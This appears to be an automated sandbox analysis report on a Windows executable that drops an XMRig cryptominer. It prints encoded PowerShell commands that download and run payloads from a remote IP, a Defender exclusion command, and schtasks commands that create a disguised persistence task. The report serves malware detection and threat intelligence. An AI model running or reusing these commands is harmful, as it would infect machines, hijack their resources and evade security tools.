Analysis

  • max time kernel
    150s
  • max time network
    138s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    04-01-2023 18:43

General

  • Target

    file.exe

  • Size

    35KB

  • MD5

    763f596df92174f31b2019474d6a022c

  • SHA1

    3716637d97d20f4c1a92631e78d363635e6d7bf4

  • SHA256

    6032d1538d68df2b8a118c6c5f3756a9c383d213f71fae50fef2c59482cdf107

  • SHA512

    fb38f1ec9105c753c56e8dbf1023fa84ccf61511ad15ef21db221890858b2aa1a33688dea0da894262f21bf2c3ef06bde92f3cbe95d4a6d601c4b5d0748e0e2d

  • SSDEEP

    768:R0EzuhkxatcjJP1sgjy4r/wOPpdwMNhghy0qN:R0Ey6xatUNst4kmTghy0Y

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://62.204.41.194/go.png

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://62.204.41.194/F1.exe

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://62.204.41.194/me.png

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 14 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1348
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBnAG8ALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1684
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -enc JABQAHIAbwBjAE4AYQBtAGUAIAA9ACAAIgBOAG8AUwBsAGUAZQBwAC4AZQB4AGUAIgANAAoAJABXAGUAYgBGAGkAbABlACAAPQAgACIAaAB0AHQAcAA6AC8ALwA2ADIALgAyADAANAAuADQAMQAuADEAOQA0AC8ARgAxAC4AZQB4AGUAIgANAAoAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAVwBlAGIARgBpAGwAZQAsACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAFAAcgBvAGMATgBhAG0AZQAiACkA
      2⤵
      • Blocklisted process makes network request
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:736
      • C:\Users\Admin\AppData\Roaming\NoSleep.exe
        "C:\Users\Admin\AppData\Roaming\NoSleep.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2040
        • C:\Windows\System32\conhost.exe
          "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\NoSleep.exe"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1920
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe\""
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1616
            • C:\Windows\system32\schtasks.exe
              schtasks /create /f /sc onlogon /rl highest /tn "GoogleUpdateTaskMachineQC" /tr "\"C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe\""
              6⤵
              • Creates scheduled task(s)
              PID:1156
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineQC"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:380
            • C:\Windows\system32\schtasks.exe
              schtasks /run /tn "GoogleUpdateTaskMachineQC"
              6⤵
                PID:604
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -enc IABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAnAFwAQQBwAHAARABhAHQAYQAnAA==
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1400
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -enc IAAgACQAZgA1AD0AJwBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwAnADsAIAAkAGYAMQA9ACcAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAJwA7ACAAJABmADMAPQAnAGEAZABTAHQAcgBpAG4AZwAoACcAJwBoAHQAdABwADoALwAvADYAMgAuADIAMAA0AC4ANAAxAC4AMQA5ADQALwBtAGUALgBwAG4AZwAnACcAKQAnADsAJABHAE8ATwA9AEkAYABFAGAAWAAgACgAJABmADEALAAkAGYANQAsACQAZgAzACAALQBKAG8AaQBuACAAJwAnACkAfABJAGAARQBgAFgA
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:364
    • C:\Windows\system32\taskeng.exe
      taskeng.exe {2A5CD866-CD32-4E76-B738-439EEDF95688} S-1-5-21-3385717845-2518323428-350143044-1000:SABDUHNY\Admin:Interactive:[1]
      1⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:912
      • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:652
        • C:\Windows\System32\conhost.exe
          "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe"
          3⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1996
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe "cvxjxkjice"
            4⤵
              PID:988
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe pjsnsurpv0 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZebSGUfj6Vuv+kPoPZ9FoidkTm/7TRz3Cxu5/LqhuwWCS2hvmHfyPTAWIo4zY5OcwjP+79VuJh5O5c9vMH8WB3WKocLPQQ3D/631f214VrDNh9z0jOLbJJ9YXALTSKeo3z0yqpo23wDcDd1T/hDfuDceoldVJQGMTDTCXN0Q0os5qQZpM/bbi7sbKmKkdCHj6mFIu02fq5LlHaQLCNyvHRzVgK320/ko7oR3JyhnmBQHtbZUpiFNPFJEf7lTC77qWxEJ3h4yjiCPgrTI6MoBbSgjAmpPlQgNd71RJ7lG0ikmSTeoT3CddgZH5TjpSuHbPN3ha82GVaI5+j+dJzAfNAaJfxYNDrhTxng1MpRAutdkSftro/iAbX8hcx7q/b7Qg7J3CyclBC4/Mwe/Jeo6Q9AKf6F7/3Yi99ifKM20LuEsFK/pU/n4DnNACnryf3RdME
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1760

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Execution

      Scheduled Task

      1
      T1053

      Persistence

      Scheduled Task

      1
      T1053

      Privilege Escalation

      Scheduled Task

      1
      T1053

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
        Filesize

        7KB

        MD5

        3a6b74d0352becd79cccd9161e8f506f

        SHA1

        316cee7ef67494525540e0d495569d052c054bb3

        SHA256

        255ac7dead6e805b524836b75c0d3103073709fae0bb5d20070dacc1eb742d2f

        SHA512

        44bf26aca6a016d267ba58c63ed54b889e110fa7979581f710a5a41590a11cf3b57989b7b3b5233ae5b65bfd15b53fa76a67f5a5a1a1fdfbfd863f6a1f4d6e9c

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
        Filesize

        7KB

        MD5

        3a6b74d0352becd79cccd9161e8f506f

        SHA1

        316cee7ef67494525540e0d495569d052c054bb3

        SHA256

        255ac7dead6e805b524836b75c0d3103073709fae0bb5d20070dacc1eb742d2f

        SHA512

        44bf26aca6a016d267ba58c63ed54b889e110fa7979581f710a5a41590a11cf3b57989b7b3b5233ae5b65bfd15b53fa76a67f5a5a1a1fdfbfd863f6a1f4d6e9c

      • C:\Users\Admin\AppData\Roaming\NoSleep.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • C:\Users\Admin\AppData\Roaming\NoSleep.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • C:\Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • \Users\Admin\AppData\Roaming\NoSleep.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • \Users\Admin\AppData\Roaming\OneDrive\OneDrive.exe
        Filesize

        4.4MB

        MD5

        da256d1a520061b14d1cd013d99e84ff

        SHA1

        1aad91448144852bd1bf83dcb85bd14c6db160da

        SHA256

        feb1d6051d70d694ffbb8a1663f9eb16f69967ca000251a38a57475922e77280

        SHA512

        8e1d9da1768a1388af28e29d202ed3f576ffb787ef3ae49badb1093eac121b1207923adba9b953f07e051e5d4a22b0976a20df3aa0ec9b7ebe216842380c6a71

      • memory/364-77-0x000000001B7E0000-0x000000001BADF000-memory.dmp
        Filesize

        3.0MB

      • memory/364-84-0x00000000024B4000-0x00000000024B7000-memory.dmp
        Filesize

        12KB

      • memory/364-118-0x00000000024B4000-0x00000000024B7000-memory.dmp
        Filesize

        12KB

      • memory/364-66-0x000007FEF3550000-0x000007FEF3F73000-memory.dmp
        Filesize

        10.1MB

      • memory/364-117-0x00000000024BB000-0x00000000024DA000-memory.dmp
        Filesize

        124KB

      • memory/364-89-0x00000000024BB000-0x00000000024DA000-memory.dmp
        Filesize

        124KB

      • memory/364-112-0x00000000024BB000-0x00000000024DA000-memory.dmp
        Filesize

        124KB

      • memory/364-74-0x00000000024B4000-0x00000000024B7000-memory.dmp
        Filesize

        12KB

      • memory/364-75-0x000007FEF29F0000-0x000007FEF354D000-memory.dmp
        Filesize

        11.4MB

      • memory/364-57-0x0000000000000000-mapping.dmp
      • memory/380-102-0x0000000000000000-mapping.dmp
      • memory/604-104-0x0000000000000000-mapping.dmp
      • memory/652-106-0x0000000000000000-mapping.dmp
      • memory/736-87-0x000000000251B000-0x000000000253A000-memory.dmp
        Filesize

        124KB

      • memory/736-70-0x000007FEF29F0000-0x000007FEF354D000-memory.dmp
        Filesize

        11.4MB

      • memory/736-82-0x0000000002514000-0x0000000002517000-memory.dmp
        Filesize

        12KB

      • memory/736-56-0x0000000000000000-mapping.dmp
      • memory/736-79-0x000000001B810000-0x000000001BB0F000-memory.dmp
        Filesize

        3.0MB

      • memory/736-95-0x0000000002514000-0x0000000002517000-memory.dmp
        Filesize

        12KB

      • memory/736-96-0x000000000251B000-0x000000000253A000-memory.dmp
        Filesize

        124KB

      • memory/736-72-0x0000000002514000-0x0000000002517000-memory.dmp
        Filesize

        12KB

      • memory/736-68-0x000007FEF3550000-0x000007FEF3F73000-memory.dmp
        Filesize

        10.1MB

      • memory/988-111-0x0000000000000000-mapping.dmp
      • memory/988-113-0x0000000000060000-0x0000000000079000-memory.dmp
        Filesize

        100KB

      • memory/988-109-0x0000000000060000-0x0000000000079000-memory.dmp
        Filesize

        100KB

      • memory/988-115-0x0000000001E20000-0x0000000001E2E000-memory.dmp
        Filesize

        56KB

      • memory/988-114-0x0000000001DF0000-0x0000000001E0A000-memory.dmp
        Filesize

        104KB

      • memory/1156-103-0x0000000000000000-mapping.dmp
      • memory/1348-54-0x0000000000CC0000-0x0000000000CD0000-memory.dmp
        Filesize

        64KB

      • memory/1400-83-0x0000000002944000-0x0000000002947000-memory.dmp
        Filesize

        12KB

      • memory/1400-58-0x0000000000000000-mapping.dmp
      • memory/1400-67-0x000007FEF3550000-0x000007FEF3F73000-memory.dmp
        Filesize

        10.1MB

      • memory/1400-73-0x0000000002944000-0x0000000002947000-memory.dmp
        Filesize

        12KB

      • memory/1400-76-0x000007FEF29F0000-0x000007FEF354D000-memory.dmp
        Filesize

        11.4MB

      • memory/1400-80-0x000000001B890000-0x000000001BB8F000-memory.dmp
        Filesize

        3.0MB

      • memory/1400-86-0x000000000294B000-0x000000000296A000-memory.dmp
        Filesize

        124KB

      • memory/1400-85-0x0000000002944000-0x0000000002947000-memory.dmp
        Filesize

        12KB

      • memory/1616-100-0x0000000000000000-mapping.dmp
      • memory/1684-91-0x000000000279B000-0x00000000027BA000-memory.dmp
        Filesize

        124KB

      • memory/1684-90-0x0000000002794000-0x0000000002797000-memory.dmp
        Filesize

        12KB

      • memory/1684-88-0x000000000279B000-0x00000000027BA000-memory.dmp
        Filesize

        124KB

      • memory/1684-78-0x000000001B830000-0x000000001BB2F000-memory.dmp
        Filesize

        3.0MB

      • memory/1684-81-0x0000000002794000-0x0000000002797000-memory.dmp
        Filesize

        12KB

      • memory/1684-55-0x0000000000000000-mapping.dmp
      • memory/1684-59-0x000007FEFB9E1000-0x000007FEFB9E3000-memory.dmp
        Filesize

        8KB

      • memory/1684-69-0x000007FEF29F0000-0x000007FEF354D000-memory.dmp
        Filesize

        11.4MB

      • memory/1684-64-0x000007FEF3550000-0x000007FEF3F73000-memory.dmp
        Filesize

        10.1MB

      • memory/1684-71-0x0000000002794000-0x0000000002797000-memory.dmp
        Filesize

        12KB

      • memory/1760-119-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1760-130-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1760-145-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1760-144-0x0000000000000000-0x0000000001000000-memory.dmp
        Filesize

        16.0MB

      • memory/1760-143-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1760-142-0x0000000000120000-0x0000000000140000-memory.dmp
        Filesize

        128KB

      • memory/1760-122-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1760-120-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1760-126-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1760-124-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1760-132-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1760-138-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1760-129-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1760-128-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1760-136-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1760-135-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1760-134-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1760-139-0x000000014036EAC4-mapping.dmp
      • memory/1760-141-0x0000000140000000-0x0000000140809000-memory.dmp
        Filesize

        8.0MB

      • memory/1920-97-0x00000000000D0000-0x000000000052B000-memory.dmp
        Filesize

        4.4MB

      • memory/1920-99-0x000000001B840000-0x000000001BC74000-memory.dmp
        Filesize

        4.2MB

      • memory/1920-98-0x000000001BCA0000-0x000000001C0FC000-memory.dmp
        Filesize

        4.4MB

      • memory/1996-108-0x0000000002510000-0x0000000002516000-memory.dmp
        Filesize

        24KB

      • memory/2040-93-0x0000000000000000-mapping.dmp